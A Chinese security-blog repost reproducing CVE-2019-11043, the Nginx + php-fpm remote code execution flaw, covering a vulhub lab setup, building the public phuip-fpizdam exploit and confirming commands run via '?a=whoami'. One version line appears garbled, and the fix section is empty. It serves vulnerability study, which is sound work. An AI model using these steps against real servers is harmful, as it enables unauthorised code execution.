专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
英国大家谈  ·  重磅!英国政府更新入籍要求 ·  18 小时前  
英国大家谈  ·  英国大家谈商务合作及转载须知 ·  2 天前  
印象笔记  ·  低能量自救指南:如何快速提升能量? ·  3 天前  
51好读  ›  专栏  ›  TimelineSec

严重:PHP远程代码执行漏洞复现

TimelineSec  · 公众号  ·  · 2019-10-27 12:38

正文

本公众号专注于最新漏洞复现,欢迎关注!

----------------------------------------------------------------------------------------

本文作者:璠淳(Timeline Sec新成员)

本文共919字,阅读大约需要3分钟


0x00 简介


9 月 26 日,PHP 官方发布漏洞通告,其中指出:使用 Nginx + php-fpm 的服务器,在部分配置下,存在远程代码执行漏洞。并且该配置已被广泛使用,危害较大。


0x01 漏洞概述


Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。


0x02 影响版本


Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。

 location ~ [^/]\.php(/|$) {        ···        fastcgi_split_path_info ^(.+?\.php)(/.*)$;        fastcgi_param PATH_INFO       $fastcgi_path_info;        fastcgi_pass   php:9000;        ...  }}


不可以远程代码执行:PHP 7.0/7.1/7.2/7.3


0x03 环境搭建



在线环境:

转发至朋友圈,发送截图至公众号


自行搭建:

直接vulhub一键搭建(更新真快)

git clone https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043cd vulhub/php/CVE-2019-11043


启动有漏洞的Nginx和PHP:

docker-compose up -d


环境启动后,访问http://ip:8080/index.php即可查看到一个默认页面。



0x04 漏洞利用



下载POC:

git clone https://github.com/neex/phuip-fpizdam


注:需要安装go语言环境

https://www.runoob.com/go/go-environment.html



进入下载poc文件夹,执行 go build 进行编译



如果编译失败,显示timeout,则需要设置代理,执行以下语句添加环境变量

export GOPROXY=https://goproxy.io


使用phuip-fpizdam编译好的工具,发送数据包:



这里已经执行成功了

访问http://ip:8080/index.php?a=whoami即可查看到命令已成功执行



注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id时需要多访问几次,以访问到被污染的进程。


0x05 修复方式







请到「今天看啥」查看全文